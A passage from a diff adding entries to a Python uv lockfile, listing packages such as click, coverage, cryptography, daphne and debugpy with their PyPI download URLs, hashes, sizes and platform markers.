"2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "cheap-repr" +version = "0.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b1/30/f0e9d5bfe80b8287ea8a9263eb3c71c5fdf44b6f7a781a7c96f83172ccad/cheap_repr-0.5.2.tar.gz", hash = "sha256:001a5cf8adb0305c7ad3152c5f776040ac2a559d97f85770cebcb28c6ca5a30f", size = 20232, upload-time = "2024-08-10T14:08:07.314Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/52/fec0262af470a157a557e46be1d52ecdaf1695cefd80bb62bb6a07cc4ea9/cheap_repr-0.5.2-py2.py3-none-any.whl", hash = "sha256:537ec1991bfee885c13c6d473afd110a408e039cde26882e95bf92761556ab6e", size = 12228, upload-time = "2024-08-10T14:08:05.965Z" }, +] + +[[package]] +name = "click" +version = "8.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" }, +] + +[[package]] +name = "click-didyoumean" +version = "0.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/30/ce/217289b77c590ea1e7c24242d9ddd6e249e52c795ff10fac2c50062c48cb/click_didyoumean-0.3.1.tar.gz", hash = "sha256:4f82fdff0dbe64ef8ab2279bd6aa3f6a99c3b28c05aa09cbfc07c9d7fbb5a463", size = 3089, upload-time = "2024-03-24T08:22:07.499Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/5b/974430b5ffdb7a4f1941d13d83c64a0395114503cc357c6b9ae4ce5047ed/click_didyoumean-0.3.1-py3-none-any.whl", hash = "sha256:5c4bb6007cfea5f2fd6583a2fb6701a22a41eb98957e63d0fac41c10e7c3117c", size = 3631, upload-time = "2024-03-24T08:22:06.356Z" }, +] + +[[package]] +name = "click-plugins" +version = "1.1.1.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/a4/34847b59150da33690a36da3681d6bbc2ec14ee9a846bc30a6746e5984e4/click_plugins-1.1.1.2.tar.gz", hash = "sha256:d7af3984a99d243c131aa1a828331e7630f4a88a9741fd05c927b204bcf92261", size = 8343, upload-time = "2025-06-25T00:47:37.555Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/9a/2abecb28ae875e39c8cad711eb1186d8d14eab564705325e77e4e6ab9ae5/click_plugins-1.1.1.2-py2.py3-none-any.whl", hash = "sha256:008d65743833ffc1f5417bf0e78e8d2c23aab04d9745ba817bd3e71b0feb6aa6", size = 11051, upload-time = "2025-06-25T00:47:36.731Z" }, +] + +[[package]] +name = "click-repl" +version = "0.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "prompt-toolkit", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cb/a2/57f4ac79838cfae6912f997b4d1a64a858fb0c86d7fcaae6f7b58d267fca/click-repl-0.3.0.tar.gz", hash = "sha256:17849c23dba3d667247dc4defe1757fff98694e90fe37474f3feebb69ced26a9", size = 10449, upload-time = "2023-06-15T12:43:51.141Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/52/40/9d857001228658f0d59e97ebd4c346fe73e138c6de1bce61dc568a57c7f8/click_repl-0.3.0-py3-none-any.whl", hash = "sha256:fb7e06deb8da8de86180a33a9da97ac316751c094c6899382da7feeeeb51b812", size = 10289, upload-time = "2023-06-15T12:43:48.626Z" }, +] + +[[package]] +name = "constantly" +version = "23.10.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4d/6f/cb2a94494ff74aa9528a36c5b1422756330a75a8367bf20bd63171fc324d/constantly-23.10.4.tar.gz", hash = "sha256:aa92b70a33e2ac0bb33cd745eb61776594dc48764b06c35e0efd050b7f1c7cbd", size = 13300, upload-time = "2023-10-28T23:18:24.316Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b8/40/c199d095151addf69efdb4b9ca3a4f20f70e20508d6222bffb9b76f58573/constantly-23.10.4-py3-none-any.whl", hash = "sha256:3fd9b4d1c3dc1ec9757f3c52aef7e53ad9323dbe39f51dfd4c43853b68dfa3f9", size = 13547, upload-time = "2023-10-28T23:18:23.038Z" }, +] + +[[package]] +name = "coverage" +version = "7.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/1d/3e426526df9f320f0a08dd08434dc7b94cd621543f73f96d8a4faf216ec7/coverage-7.5.1.tar.gz", hash = "sha256:54de9ef3a9da981f7af93eafde4ede199e0846cd819eb27c88e2b712aae9708c", size = 784825, upload-time = "2024-05-04T14:57:05.017Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/53/8a/3b9602edcbfcf39c2715c8d4dbd7532596111ef6c99962980ba60b24c007/coverage-7.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:796a79f63eca8814ca3317a1ea443645c9ff0d18b188de470ed7ccd45ae79428", size = 204378, upload-time = "2024-05-04T14:55:33.354Z" }, + { url = "https://files.pythonhosted.org/packages/d8/3a/cb494eab26df93d721b46266824f09414375b32bb3e1c1bf2a15ac11a6b4/coverage-7.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4fc84a37bfd98db31beae3c2748811a3fa72bf2007ff7902f68746d9757f3746", size = 204862, upload-time = "2024-05-04T14:55:35.596Z" }, + { url = "https://files.pythonhosted.org/packages/3b/29/784d576de552a3d613b27ea4d081e099e7a56ba9743ad9aed9e9963383cb/coverage-7.5.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6175d1a0559986c6ee3f7fccfc4a90ecd12ba0a383dcc2da30c2b9918d67d8a3", size = 236293, upload-time = "2024-05-04T14:55:38.428Z" }, + { url = "https://files.pythonhosted.org/packages/17/d1/8dfa3e3ab88cf832faf64bee9b0e4c7e51865b75a2ca44e20bd09bb74440/coverage-7.5.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1fc81d5878cd6274ce971e0a3a18a8803c3fe25457165314271cf78e3aae3aa2", size = 233864, upload-time = "2024-05-04T14:55:41.02Z" }, + { url = "https://files.pythonhosted.org/packages/bd/e2/9da6c61f71f769e63122ac9f029dcafe5fe50e1e4043f8dd950daf58290f/coverage-7.5.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:556cf1a7cbc8028cb60e1ff0be806be2eded2daf8129b8811c63e2b9a6c43bca", size = 235565, upload-time = "2024-05-04T14:55:43.432Z" }, + { url = "https://files.pythonhosted.org/packages/63/c1/aaadb27dd1671471e43dc0516b3866f5c146492033b4d4a5ecf4d05ee3f2/coverage-7.5.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9981706d300c18d8b220995ad22627647be11a4276721c10911e0e9fa44c83e8", size = 244665, upload-time = "2024-05-04T14:55:46.19Z" }, + { url = "https://files.pythonhosted.org/packages/aa/85/57c27c61a016553852c802f8fb0a993aee33d575b91fb5b6899ab979f528/coverage-7.5.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d7fed867ee50edf1a0b4a11e8e5d0895150e572af1cd6d315d557758bfa9c057", size = 243037, upload-time = "2024-05-04T14:55:48.049Z" }, + { url = "https://files.pythonhosted.org/packages/98/a5/7a778a95d2cad394bb5d8b34249728c8fa19b0f6b7b16c0820c8113f5732/coverage-7.5.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:ef48e2707fb320c8f139424a596f5b69955a85b178f15af261bab871873bb987", size = 244117, upload-time = "2024-05-04T14:55:51.227Z" }, +] + +[package.optional-dependencies] +toml = [ + { name = "tomli", marker = "(python_full_version <= '3.11' and sys_platform == 'darwin') or (python_full_version <= '3.11' and sys_platform == 'linux')" }, +] + +[[package]] +name = "cron-descriptor" +version = "2.0.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7c/31/0b21d1599656b2ffa6043e51ca01041cd1c0f6dacf5a3e2b620ed120e7d8/cron_descriptor-2.0.6.tar.gz", hash = "sha256:e39d2848e1d8913cfb6e3452e701b5eec662ee18bea8cc5aa53ee1a7bb217157", size = 49456, upload-time = "2025-09-03T16:30:22.434Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/21/cc/361326a54ad92e2e12845ad15e335a4e14b8953665007fb514d3393dfb0f/cron_descriptor-2.0.6-py3-none-any.whl", hash = "sha256:3a1c0d837c0e5a32e415f821b36cf758eb92d510e6beff8fbfe4fa16573d93d6", size = 74446, upload-time = "2025-09-03T16:30:21.397Z" }, +] + +[[package]] +name = "cryptography" +version = "46.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "(platform_python_implementation != 'PyPy' and sys_platform == 'darwin') or (platform_python_implementation != 'PyPy' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9f/33/c00162f49c0e2fe8064a62cb92b93e50c74a72bc370ab92f86112b33ff62/cryptography-46.0.3.tar.gz", hash = "sha256:a8b17438104fed022ce745b362294d9ce35b4c2e45c1d958ad4a4b019285f4a1", size = 749258, upload-time = "2025-10-15T23:18:31.74Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1d/42/9c391dd801d6cf0d561b5890549d4b27bafcc53b39c31a817e69d87c625b/cryptography-46.0.3-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:109d4ddfadf17e8e7779c39f9b18111a09efb969a301a31e987416a0191ed93a", size = 7225004, upload-time = "2025-10-15T23:16:52.239Z" }, + { url = "https://files.pythonhosted.org/packages/1c/67/38769ca6b65f07461eb200e85fc1639b438bdc667be02cf7f2cd6a64601c/cryptography-46.0.3-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:09859af8466b69bc3c27bdf4f5d84a665e0f7ab5088412e9e2ec49758eca5cbc", size = 4296667, upload-time = "2025-10-15T23:16:54.369Z" }, + { url = "https://files.pythonhosted.org/packages/5c/49/498c86566a1d80e978b42f0d702795f69887005548c041636df6ae1ca64c/cryptography-46.0.3-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:01ca9ff2885f3acc98c29f1860552e37f6d7c7d013d7334ff2a9de43a449315d", size = 4450807, upload-time = "2025-10-15T23:16:56.414Z" }, + { url = "https://files.pythonhosted.org/packages/4b/0a/863a3604112174c8624a2ac3c038662d9e59970c7f926acdcfaed8d61142/cryptography-46.0.3-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:6eae65d4c3d33da080cff9c4ab1f711b15c1d9760809dad6ea763f3812d254cb", size = 4299615, upload-time = "2025-10-15T23:16:58.442Z" }, + { url = "https://files.pythonhosted.org/packages/64/02/b73a533f6b64a69f3cd3872acb6ebc12aef924d8d103133bb3ea750dc703/cryptography-46.0.3-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e5bf0ed4490068a2e72ac03d786693adeb909981cc596425d09032d372bcc849", size = 4016800, upload-time = "2025-10-15T23:17:00.378Z" }, + { url = "https://files.pythonhosted.org/packages/25/d5/16e41afbfa450cde85a3b7ec599bebefaef16b5c6ba4ec49a3532336ed72/cryptography-46.0.3-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5ecfccd2329e37e9b7112a888e76d9feca2347f12f37918facbb893d7bb88ee8", size = 4984707, upload-time = "2025-10-15T23:17:01.98Z" }, + { url = "https://files.pythonhosted.org/packages/c9/56/e7e69b427c3878352c2fb9b450bd0e19ed552753491d39d7d0a2f5226d41/cryptography-46.0.3-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a2c0cd47381a3229c403062f764160d57d4d175e022c1df84e168c6251a22eec", size = 4482541, upload-time = "2025-10-15T23:17:04.078Z" }, + { url = "https://files.pythonhosted.org/packages/78/f6/50736d40d97e8483172f1bb6e698895b92a223dba513b0ca6f06b2365339/cryptography-46.0.3-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:549e234ff32571b1f4076ac269fcce7a808d3bf98b76c8dd560e42dbc66d7d91", size = 4299464, upload-time = "2025-10-15T23:17:05.483Z" }, + { url = "https://files.pythonhosted.org/packages/00/de/d8e26b1a855f19d9994a19c702fa2e93b0456beccbcfe437eda00e0701f2/cryptography-46.0.3-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:c0a7bb1a68a5d3471880e264621346c48665b3bf1c3759d682fc0864c540bd9e", size = 4950838, upload-time = "2025-10-15T23:17:07.425Z" }, + { url = "https://files.pythonhosted.org/packages/8f/29/798fc4ec461a1c9e9f735f2fc58741b0daae30688f41b2497dcbc9ed1355/cryptography-46.0.3-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:10b01676fc208c3e6feeb25a8b83d81767e8059e1fe86e1dc62d10a3018fa926", size = 4481596, upload-time = "2025-10-15T23:17:09.343Z" }, + { url = "https://files.pythonhosted.org/packages/15/8d/03cd48b20a573adfff7652b76271078e3045b9f49387920e7f1f631d125e/cryptography-46.0.3-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0abf1ffd6e57c67e92af68330d05760b7b7efb243aab8377e583284dbab72c71", size = 4426782, upload-time = "2025-10-15T23:17:11.22Z" }, + { url = "https://files.pythonhosted.org/packages/fa/b1/ebacbfe53317d55cf33165bda24c86523497a6881f339f9aae5c2e13e57b/cryptography-46.0.3-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a04bee9ab6a4da801eb9b51f1b708a1b5b5c9eb48c03f74198464c66f0d344ac", size = 4698381, upload-time = "2025-10-15T23:17:12.829Z" }, + { url = "https://files.pythonhosted.org/packages/fd/23/45fe7f376a7df8daf6da3556603b36f53475a99ce4faacb6ba2cf3d82021/cryptography-46.0.3-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:cb3d760a6117f621261d662bccc8ef5bc32ca673e037c83fbe565324f5c46936", size = 7218248, upload-time = "2025-10-15T23:17:46.294Z" }, + { url = "https://files.pythonhosted.org/packages/27/32/b68d27471372737054cbd34c84981f9edbc24fe67ca225d389799614e27f/cryptography-46.0.3-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4b7387121ac7d15e550f5cb4a43aef2559ed759c35df7336c402bb8275ac9683", size = 4294089, upload-time = "2025-10-15T23:17:48.269Z" }, + { url = "https://files.pythonhosted.org/packages/26/42/fa8389d4478368743e24e61eea78846a0006caffaf72ea24a15159215a14/cryptography-46.0.3-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:15ab9b093e8f09daab0f2159bb7e47532596075139dd74365da52ecc9cb46c5d", size = 4440029, upload-time = "2025-10-15T23:17:49.837Z" }, + { url = "https://files.pythonhosted.org/packages/5f/eb/f483db0ec5ac040824f269e93dd2bd8a21ecd1027e77ad7bdf6914f2fd80/cryptography-46.0.3-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:46acf53b40ea38f9c6c229599a4a13f0d46a6c3fa9ef19fc1a124d62e338dfa0", size = 4297222, upload-time = "2025-10-15T23:17:51.357Z" }, + { url = "https://files.pythonhosted.org/packages/fd/cf/da9502c4e1912cb1da3807ea3618a6829bee8207456fbbeebc361ec38ba3/cryptography-46.0.3-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:10ca84c4668d066a9878890047f03546f3ae0a6b8b39b697457b7757aaf18dbc", size = 4012280, upload-time = "2025-10-15T23:17:52.964Z" }, + { url = "https://files.pythonhosted.org/packages/6b/8f/9adb86b93330e0df8b3dcf03eae67c33ba89958fc2e03862ef1ac2b42465/cryptography-46.0.3-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:36e627112085bb3b81b19fed209c05ce2a52ee8b15d161b7c643a7d5a88491f3", size = 4978958, upload-time = "2025-10-15T23:17:54.965Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a0/5fa77988289c34bdb9f913f5606ecc9ada1adb5ae870bd0d1054a7021cc4/cryptography-46.0.3-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1000713389b75c449a6e979ffc7dcc8ac90b437048766cef052d4d30b8220971", size = 4473714, upload-time = "2025-10-15T23:17:56.754Z" }, + { url = "https://files.pythonhosted.org/packages/14/e5/fc82d72a58d41c393697aa18c9abe5ae1214ff6f2a5c18ac470f92777895/cryptography-46.0.3-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:b02cf04496f6576afffef5ddd04a0cb7d49cf6be16a9059d793a30b035f6b6ac", size = 4296970, upload-time = "2025-10-15T23:17:58.588Z" }, + { url = "https://files.pythonhosted.org/packages/78/06/5663ed35438d0b09056973994f1aec467492b33bd31da36e468b01ec1097/cryptography-46.0.3-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:71e842ec9bc7abf543b47cf86b9a743baa95f4677d22baa4c7d5c69e49e9bc04", size = 4940236, upload-time = "2025-10-15T23:18:00.897Z" }, + { url = "https://files.pythonhosted.org/packages/fc/59/873633f3f2dcd8a053b8dd1d38f783043b5fce589c0f6988bf55ef57e43e/cryptography-46.0.3-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:402b58fc32614f00980b66d6e56a5b4118e6cb362ae8f3fda141ba4689bd4506", size = 4472642, upload-time = "2025-10-15T23:18:02.749Z" }, + { url = "https://files.pythonhosted.org/packages/3d/39/8e71f3930e40f6877737d6f69248cf74d4e34b886a3967d32f919cc50d3b/cryptography-46.0.3-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ef639cb3372f69ec44915fafcd6698b6cc78fbe0c2ea41be867f6ed612811963", size = 4423126, upload-time = "2025-10-15T23:18:04.85Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c7/f65027c2810e14c3e7268353b1681932b87e5a48e65505d8cc17c99e36ae/cryptography-46.0.3-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3b51b8ca4f1c6453d8829e1eb7299499ca7f313900dd4d89a24b8b87c0a780d4", size = 4686573, upload-time = "2025-10-15T23:18:06.908Z" }, + { url = "https://files.pythonhosted.org/packages/06/8a/e60e46adab4362a682cf142c7dcb5bf79b782ab2199b0dcb81f55970807f/cryptography-46.0.3-pp311-pypy311_pp73-macosx_10_9_x86_64.whl", hash = "sha256:7ce938a99998ed3c8aa7e7272dca1a610401ede816d36d0693907d863b10d9ea", size = 3698132, upload-time = "2025-10-15T23:18:17.056Z" }, + { url = "https://files.pythonhosted.org/packages/da/38/f59940ec4ee91e93d3311f7532671a5cef5570eb04a144bf203b58552d11/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:191bb60a7be5e6f54e30ba16fdfae78ad3a342a0599eb4193ba88e3f3d6e185b", size = 4243992, upload-time = "2025-10-15T23:18:18.695Z" }, + { url = "https://files.pythonhosted.org/packages/b0/0c/35b3d92ddebfdfda76bb485738306545817253d0a3ded0bfe80ef8e67aa5/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c70cc23f12726be8f8bc72e41d5065d77e4515efae3690326764ea1b07845cfb", size = 4409944, upload-time = "2025-10-15T23:18:20.597Z" }, + { url = "https://files.pythonhosted.org/packages/99/55/181022996c4063fc0e7666a47049a1ca705abb9c8a13830f074edb347495/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:9394673a9f4de09e28b5356e7fff97d778f8abad85c9d5ac4a4b7e25a0de7717", size = 4242957, upload-time = "2025-10-15T23:18:22.18Z" }, + { url = "https://files.pythonhosted.org/packages/ba/af/72cd6ef29f9c5f731251acadaeb821559fe25f10852f44a63374c9ca08c1/cryptography-46.0.3-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:94cd0549accc38d1494e1f8de71eca837d0509d0d44bf11d158524b0e12cebf9", size = 4409447, upload-time = "2025-10-15T23:18:24.209Z" }, +] + +[[package]] +name = "daphne" +version = "4.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "autobahn", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "twisted", extra = ["tls"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cd/9d/322b605fdc03b963cf2d33943321c8f4405e8d82e698bf49d1eed1ca40c4/daphne-4.2.1.tar.gz", hash = "sha256:5f898e700a1fda7addf1541d7c328606415e96a7bd768405f0463c312fcb31b3", size = 45600, upload-time = "2025-07-02T12:57:04.935Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/01/34/6171ab34715ed210bcd6c2b38839cc792993cff4fe2493f50bc92b0086a0/daphne-4.2.1-py3-none-any.whl", hash = "sha256:881e96b387b95b35ad85acd855f229d7f5b79073d6649089c8a33f661885e055", size = 29015, upload-time = "2025-07-02T12:57:03.793Z" }, +] + +[[package]] +name = "debugpy" +version = "1.8.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/c7/a18e15ed2e53f86de2e1c4162a54ddf1c4f4cee5ca40270c14725ccdd8ff/debugpy-1.8.1.zip", hash = "sha256:f696d6be15be87aef621917585f9bb94b1dc9e8aced570db1b8a6fc14e8f9b42", size = 4619053, upload-time = "2024-02-08T22:57:03.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1d/04/ce7170a5094fe5943b11925d3e11ae7ee6c5c79166f0b0298420995ea9cc/debugpy-1.8.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:016a9fcfc2c6b57f939673c874310d8581d51a0fe0858e7fac4e240c5eb743cb", size = 1783713, upload-time = "2024-02-08T22:55:59.922Z" }, + { url = "https://files.pythonhosted.org/packages/da/65/ec4d2e244ec7f9db0b5250649f3ae6fc6a9df7d4da2c4bcdc46778d9a674/debugpy-1.8.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd97ed11a4c7f6d042d320ce03d83b20c3fb40da892f994bc041bbc415d7a099", size = 2643137, upload-time = "2024-02-08T22:56:02.85Z" }, + { url = "https://files.pythonhosted.org/packages/57/ab/6df7e24db51e1db642a5ea1759d44fb656251253995a27deb37af9b192ae/debugpy-1.8.1-py2.py3-none-any.whl", hash = "sha256:28acbe2241222b87e255260c76741e1fbf04fdc3b6d094fcf57b6c6f75ce1242", size = 4832569, upload-time = "2024-02-08T22:56:58.759Z" }, +] + +[[package]] +name = "decorator" +version = "5.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/fa/6d96a0978d19e17b68d634497769987b16c8f4cd0a7a05048bec693caa6b/decorator-5.2.1.tar.gz", hash = "sha256:65f266143752f734b0a7cc83c46f4618af75b8c5911b00ccb61d0ac9b6da0360", size = 56711, upload-time = "2025-02-24T04:41:34.073Z" } +wheels 